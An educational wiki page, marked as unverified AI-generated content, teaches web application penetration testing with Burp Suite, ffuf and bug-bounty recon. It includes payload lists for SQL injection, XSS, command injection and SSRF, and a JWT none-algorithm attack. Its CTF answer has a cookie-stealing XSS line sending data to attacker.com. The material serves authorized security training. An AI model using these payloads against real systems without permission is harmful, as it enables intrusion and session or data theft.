Skip to content
Unverified — AI-generated content. Help verify this page

Web Application Penetration Testing

Web applications are the most common attack surface in modern organizations. Every SaaS product, internal tool, API, and customer portal is a web application. Web app pentesting is the systematic process of finding security vulnerabilities in these applications before attackers do. This page covers the methodology, tools, and techniques used by professional penetration testers and bug bounty hunters.

Related: Cybersecurity Overview | Secure Coding | OWASP Top 10 | API Security

Authorization Required

Only test applications you own or have explicit written permission to test. Unauthorized testing is a criminal offense. Use bug bounty programs or lab environments for practice.


Web App Pentesting Methodology

Professional pentesting follows a structured methodology. The OWASP Testing Guide v4.2 defines the standard, but every tester adapts it.

Phase Checklist

PhaseActivitiesTime Allocation
ReconnaissanceTechnology fingerprinting, directory brute-forcing, subdomain enumeration, JavaScript analysis15-20%
MappingBuild sitemap, identify parameters, map authentication flows, document roles10-15%
DiscoveryTest each vulnerability class against each entry point systematically40-50%
ExploitationProve impact — extract data, escalate privileges, chain vulnerabilities15-20%
ReportingDocument findings with reproduction steps, impact, and remediation10-15%

Burp Suite Deep Dive

Burp Suite is the industry-standard tool for web application testing. Understanding its components is essential.

Core Components

Proxy Setup

1. Configure browser proxy: 127.0.0.1:8080
2. Install Burp's CA certificate for HTTPS interception:
   - Navigate to http://burp in your proxied browser
   - Download and install the CA certificate
   - Trust it in your browser's certificate store

3. Scope configuration:
   - Target > Scope > Add target URL
   - Enable "Use advanced scope control"
   - Proxy > Options > "Only intercept requests in scope"

Repeater — Manual Request Testing

Repeater is where you spend most of your time. It lets you modify and resend individual requests while seeing the response in real time.

http
# Original request captured from proxy
GET /api/users/123 HTTP/2
Host: target.com
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9...
Cookie: session=abc123

# Test IDOR — change user ID
GET /api/users/124 HTTP/2

# Test parameter pollution
GET /api/users/123?role=admin HTTP/2

# Test method tampering
POST /api/users/123 HTTP/2
Content-Type: application/json

{"role": "admin"}

Intruder — Automated Fuzzing

Intruder automates the process of sending many requests with varying payloads.

Attack Types:

TypePayloadsUse Case
SniperOne position at a time, single payload listTest one parameter with a wordlist
Battering RamSame payload in all positions simultaneouslyTest same value everywhere
PitchforkOne payload per position, in lockstepUsername + password pairs
Cluster BombAll combinations of all payload listsBrute force all combos
# Example: Brute-force directory enumeration
Target: GET /FUZZ HTTP/1.1
Payload: /usr/share/seclists/Discovery/Web-Content/common.txt
Filter: Response code != 404, Response length != baseline

# Example: Parameter fuzzing for SQLi
Target: GET /search?q=FUZZ HTTP/1.1
Payload: /usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt
Filter: Response contains "error", "syntax", "mysql"

Free Alternative: ffuf

Burp Intruder is throttled in the Community edition. Use ffuf for fast fuzzing:

bash
# Directory brute force
ffuf -u https://target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,301,302,403

# Parameter fuzzing
ffuf -u "https://target.com/search?q=FUZZ" -w sqli-payloads.txt -fr "no results"

# Subdomain fuzzing
ffuf -u https://FUZZ.target.com -w subdomains.txt -mc 200

Manual Testing Areas

Automated scanners catch common issues. The real skill is in manual testing of logic, authentication, and authorization.

Authentication Testing

TestWhat to TryVulnerability
Default credentialsadmin:admin, admin:password, root:toorCWE-798
Brute force protectionSend 100+ login attempts — does rate limiting kick in?CWE-307
Password policyRegister with "1" as password — is it accepted?CWE-521
Account enumerationTry valid vs invalid usernames — do error messages differ?CWE-204
Password resetIs the token predictable? Does it expire? Can you reuse it?CWE-640
Session fixationCan you set session ID before authentication?CWE-384
Multi-factor bypassRemove 2FA parameter, change response from false to trueCWE-304
bash
# Account enumeration via timing
# Valid username: 2.3s response (password hash checked)
# Invalid username: 0.1s response (fast rejection)
curl -w "%{time_total}" -o /dev/null -s -X POST https://target.com/login \
  -d "username=admin&password=wrong"

curl -w "%{time_total}" -o /dev/null -s -X POST https://target.com/login \
  -d "username=nonexistent&password=wrong"

Authorization Testing (IDOR / Broken Access Control)

Broken access control is the #1 OWASP vulnerability. Test every endpoint with different privilege levels.

http
# Test horizontal privilege escalation (IDOR)
# Logged in as user 123, try to access user 124's data
GET /api/users/124/profile HTTP/2
Authorization: Bearer <user123_token>

# Test vertical privilege escalation
# Normal user trying admin endpoint
GET /admin/dashboard HTTP/2
Authorization: Bearer <normal_user_token>

# Test parameter-based access control
POST /api/transfer HTTP/2
Content-Type: application/json

{"from": "my_account", "to": "attacker", "amount": 10000}
# Change "from" to another user's account

# Test HTTP method override
# GET is blocked but...
POST /admin/users/delete/5 HTTP/2
X-HTTP-Method-Override: DELETE

IDOR Checklist

Test every numeric ID, UUID, filename, and object reference with:

  1. Another user's valid ID (horizontal escalation)
  2. An admin user's ID (vertical escalation)
  3. Sequential IDs (enumeration)
  4. Negative numbers, zero, very large numbers (edge cases)
  5. Other object types (can a user ID access an order ID endpoint?)

Input Validation Testing

bash
# SQL Injection — test every parameter
' OR '1'='1
' OR '1'='1' --
' UNION SELECT NULL,NULL,NULL --
1; WAITFOR DELAY '0:0:5' --          # Time-based blind
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a' --  # Boolean blind

# XSS — test every output point
<script>alert(1)</script>
<img src=x onerror=alert(1)>
"><svg onload=alert(1)>
javascript:alert(1)
{​{constructor.constructor('alert(1)')()}​}    # Template injection

# Command injection — test parameters that interact with system
; id
| id
$(id)
`id`
; cat /etc/passwd

# SSRF — test URL parameters
http://169.254.169.254/latest/meta-data/    # AWS metadata
http://127.0.0.1:22                          # Internal port scanning
file:///etc/passwd                            # Local file read

Business Logic Testing

Logic flaws cannot be found by scanners. They require understanding the application's intended behavior.

Test CaseWhat to TryExample
Price manipulationModify price parameter in cart/checkout requestChange price=100 to price=1
Quantity abuseOrder negative quantity for refundqty=-5 generates credit
Race conditionsSend same coupon code in parallel requestsApply discount multiple times
Workflow bypassSkip steps in multi-step processJump from step 1 to step 4
Privilege boundaryPerform action after account downgradeUse premium feature after cancellation
State confusionManipulate object state transitionsChange order from "shipped" to "refund"
python
# Race condition testing with Python
import asyncio
import aiohttp

async def apply_coupon(session, url, coupon):
    async with session.post(url, json={"coupon": coupon}) as resp:
        return await resp.json()

async def race_condition_test():
    url = "https://target.com/api/apply-coupon"
    coupon = "DISCOUNT50"

    async with aiohttp.ClientSession() as session:
        # Send 20 requests simultaneously
        tasks = [apply_coupon(session, url, coupon) for _ in range(20)]
        results = await asyncio.gather(*tasks)
        # Check how many succeeded — should be 1, if >1 = vulnerability
        successes = [r for r in results if r.get("applied")]
        print(f"Coupon applied {len(successes)} times")

API Pentesting

REST API Testing

bash
# Enumerate API endpoints
ffuf -u https://api.target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt

# Test HTTP methods
for method in GET POST PUT DELETE PATCH OPTIONS; do
  echo "=== $method ==="
  curl -s -o /dev/null -w "%{http_code}" -X $method https://api.target.com/users
done

# JWT testing — decode without verification
echo "eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.signature" | \
  cut -d. -f2 | base64 -d 2>/dev/null

# JWT none algorithm attack
# Change header to {"alg":"none"} and remove signature
# Original: eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.signature
# Attack:   eyJhbGciOiJub25lIn0.eyJ1c2VyIjoiYWRtaW4ifQ.

# Mass assignment — send extra fields
curl -X POST https://api.target.com/register \
  -H "Content-Type: application/json" \
  -d '{"username":"test","password":"test123","role":"admin","is_admin":true}'

GraphQL API Testing

GraphQL APIs often expose their entire schema through introspection.

graphql
# Introspection query — dump the entire schema
{
  __schema {
    types {
      name
      fields {
        name
        type { name }
      }
    }
  }
}

# Query all users (if exposed)
{
  users {
    id
    username
    email
    password_hash
    role
  }
}

# Nested query attack (DoS via depth)
{
  user(id: 1) {
    friends {
      friends {
        friends {
          friends {
            name
          }
        }
      }
    }
  }
}
bash
# GraphQL endpoint discovery
ffuf -u https://target.com/FUZZ -w graphql-wordlist.txt
# Common endpoints: /graphql, /gql, /v1/graphql, /api/graphql

# Introspection with curl
curl -s -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{__schema{types{name,fields{name}}}}"}'

# Tool: InQL Burp extension or graphql-voyager for schema visualization

Bug Bounty Methodology

Bug bounty hunting requires a different approach than traditional pentesting. You are competing against thousands of other hunters.

Recon Automation for Bug Bounties

bash
# Subdomain enumeration pipeline
subfinder -d target.com -silent | \
  httpx -silent -status-code -title | \
  tee live_subdomains.txt

# Find JavaScript files and extract endpoints
cat live_subdomains.txt | awk '{print $1}' | \
  gau --threads 5 | grep "\.js$" | sort -u > js_files.txt

# Extract API endpoints from JavaScript
cat js_files.txt | while read url; do
  curl -s "$url" | grep -oP '"/api/[^"]*"' | sort -u
done > api_endpoints.txt

# Check for subdomain takeover
subjack -w subdomains.txt -t 20 -o takeover_results.txt

# Screenshot all live subdomains
cat live_subdomains.txt | awk '{print $1}' | aquatone

Common Vulnerability Chains

Individual vulnerabilities are often low severity. Chains demonstrate real impact.

ChainStep 1Step 2Step 3Impact
SSRF to RCESSRF on image importAccess AWS metadata 169.254.169.254Use IAM credentials to access S3/LambdaFull cloud compromise
XSS to Account TakeoverStored XSS in profile fieldSteal admin's session cookieAccess admin panelFull admin access
IDOR to Data BreachIDOR on /api/users/{id}Enumerate all user IDsExtract PII for all usersMass data breach
SQLi to RCESQL injection in searchINTO OUTFILE to write webshellExecute OS commandsServer compromise
Open Redirect to Token TheftOpen redirect on login callbackRedirect OAuth flow to attacker domainCapture authorization codeAccount takeover

Writing Good Bug Reports

A well-written report gets triaged faster and paid higher. Always include:

  1. Title: Clear one-line summary with impact
  2. Severity: CVSS score with justification
  3. Steps to reproduce: Exact steps, anyone should be able to follow
  4. Impact: What can an attacker do? Show it, do not just claim it
  5. Remediation: Suggest a fix
  6. Proof of concept: Screenshots, HTTP requests/responses, video

Web Security Testing Tools

ToolPurposeCommand Example
Burp SuiteIntercepting proxy, scannerGUI-based
ffufWeb fuzzer (dirs, params, vhosts)ffuf -u URL/FUZZ -w wordlist.txt
SQLMapAutomated SQL injectionsqlmap -u "URL?id=1" --dbs
NiktoWeb server scannernikto -h https://target.com
GobusterDirectory/DNS brute-forcinggobuster dir -u URL -w wordlist.txt
NucleiTemplate-based vuln scannernuclei -u URL -t cves/
WPScanWordPress scannerwpscan --url URL --enumerate u,p,t
ArjunParameter discoveryarjun -u https://target.com/page
ParamSpiderParameter mining from archivesparamspider -d target.com

Further Reading


Key Takeaway

  • Web app pentesting is systematic, not random — follow a methodology (recon, mapping, discovery, exploitation, reporting) and test every vulnerability class against every entry point
  • Broken access control (IDOR/BOLA) is the #1 OWASP vulnerability and cannot be found by scanners — manual testing of every endpoint with different privilege levels is required
  • Vulnerability chains turn low-severity findings into critical impact: SSRF to AWS metadata to cloud compromise, or XSS to session theft to account takeover
Hands-On Lab

Lab: Complete Web Application Penetration Test

  1. Deploy OWASP Juice Shop or DVWA locally with Docker
  2. Configure Burp Suite as your proxy and add the target to scope
  3. Crawl the application manually while Burp captures all endpoints in the site map
  4. Test authentication: try default credentials, brute force protection, account enumeration, and password reset flows
  5. Test authorization: create two accounts, then use Burp Repeater to access one account's data with the other's session token (IDOR)
  6. Test input validation: inject SQL payloads, XSS payloads, and command injection into every parameter
  7. Test business logic: manipulate prices in the cart, apply coupons multiple times, skip checkout steps
  8. Write a professional pentest report documenting each finding with reproduction steps, impact, and remediation
CTF Challenge

Challenge: The Multi-Step Exploit

A web application has a profile page where users can set a "website URL." An admin bot visits every profile page hourly. The application also has an internal admin panel at /admin that is only accessible from localhost. Chain vulnerabilities to access the admin panel and retrieve the flag.

Hints:

  1. The website URL field accepts JavaScript URLs — test for stored XSS
  2. The admin bot has a cookie with the admin session token
  3. The admin panel has an SSRF-vulnerable "fetch URL" feature
Answer

Step 1: Store XSS via the website URL field using javascript:fetch('https://attacker.com/steal?c='+document.cookie). Step 2: When the admin bot visits your profile, their session cookie is sent to your server. Step 3: Use the admin session to access /admin. Step 4: Use the admin panel's "fetch URL" feature to access http://127.0.0.1/admin/flag. Flag: CTF{xss_to_session_theft_to_ssrf_chain}.

:::

Common Misconceptions

  • "Automated scanners find all web vulnerabilities" — Scanners miss business logic flaws, IDORs, race conditions, and authentication bypass. They are good for finding XSS and SQLi but miss the most impactful bugs.
  • "HTTPS means the application is secure" — HTTPS protects data in transit but does nothing against application-layer vulnerabilities like SQLi, XSS, IDOR, or SSRF.
  • "WAFs prevent all attacks" — WAFs can be bypassed with encoding tricks, parameter pollution, and custom payloads. They are defense-in-depth, not a replacement for secure code.
  • "GraphQL APIs are more secure than REST" — GraphQL introduces unique attack vectors: introspection disclosure, nested query DoS, batching attacks, and authorization bypass.
  • "Self-XSS is not a real vulnerability" — Self-XSS alone has limited impact, but combined with CSRF or social engineering, it can become a viable attack vector.
Quiz

1. What Burp Suite component is used for manual request modification and replay?

a) Proxy b) Intruder c) Repeater d) Scanner

Answer

c) Repeater allows you to modify individual HTTP requests and resend them while observing the response, making it the primary tool for manual vulnerability testing.

2. What is the difference between horizontal and vertical privilege escalation?

a) Horizontal is faster, vertical is slower b) Horizontal accesses another user's data at the same privilege level; vertical accesses higher-privilege functionality c) They are the same thing d) Horizontal uses XSS, vertical uses SQLi

Answer

b) Horizontal escalation (IDOR) accesses resources belonging to another user at the same level. Vertical escalation accesses administrative or higher-privilege functionality as a regular user.

3. What technique tests for blind SQL injection when no error messages are returned?

a) UNION SELECT b) Time-based injection using WAITFOR DELAY or SLEEP c) Error-based injection d) Stacked queries

Answer

b) Time-based blind SQLi uses database sleep functions (e.g., WAITFOR DELAY '0:0:5' in MSSQL or SLEEP(5) in MySQL) to infer true/false conditions based on response time.

4. What HTTP header is most commonly used to test for SSRF?

a) Content-Type b) User-Agent c) URL parameters that accept URLs (not a header, but the most common vector) d) Accept

Answer

c) SSRF is most commonly found in URL parameters, webhook configurations, image/PDF import features, and any functionality that fetches a user-supplied URL server-side.

5. Why are race conditions difficult to find with automated scanners?

a) Scanners cannot send HTTP requests b) Race conditions require precise timing of concurrent requests, which scanners do not test c) Race conditions only affect mobile apps d) Scanners are too fast

Answer

b) Race conditions require sending multiple simultaneous requests to exploit timing windows (e.g., applying a coupon twice). Automated scanners send requests sequentially and do not test for concurrent execution issues.

:::

One-Liner Summary: Web app pentesting is the art of asking every endpoint one question: what happens if I send something you did not expect?

"What I cannot create, I do not understand." — Richard Feynman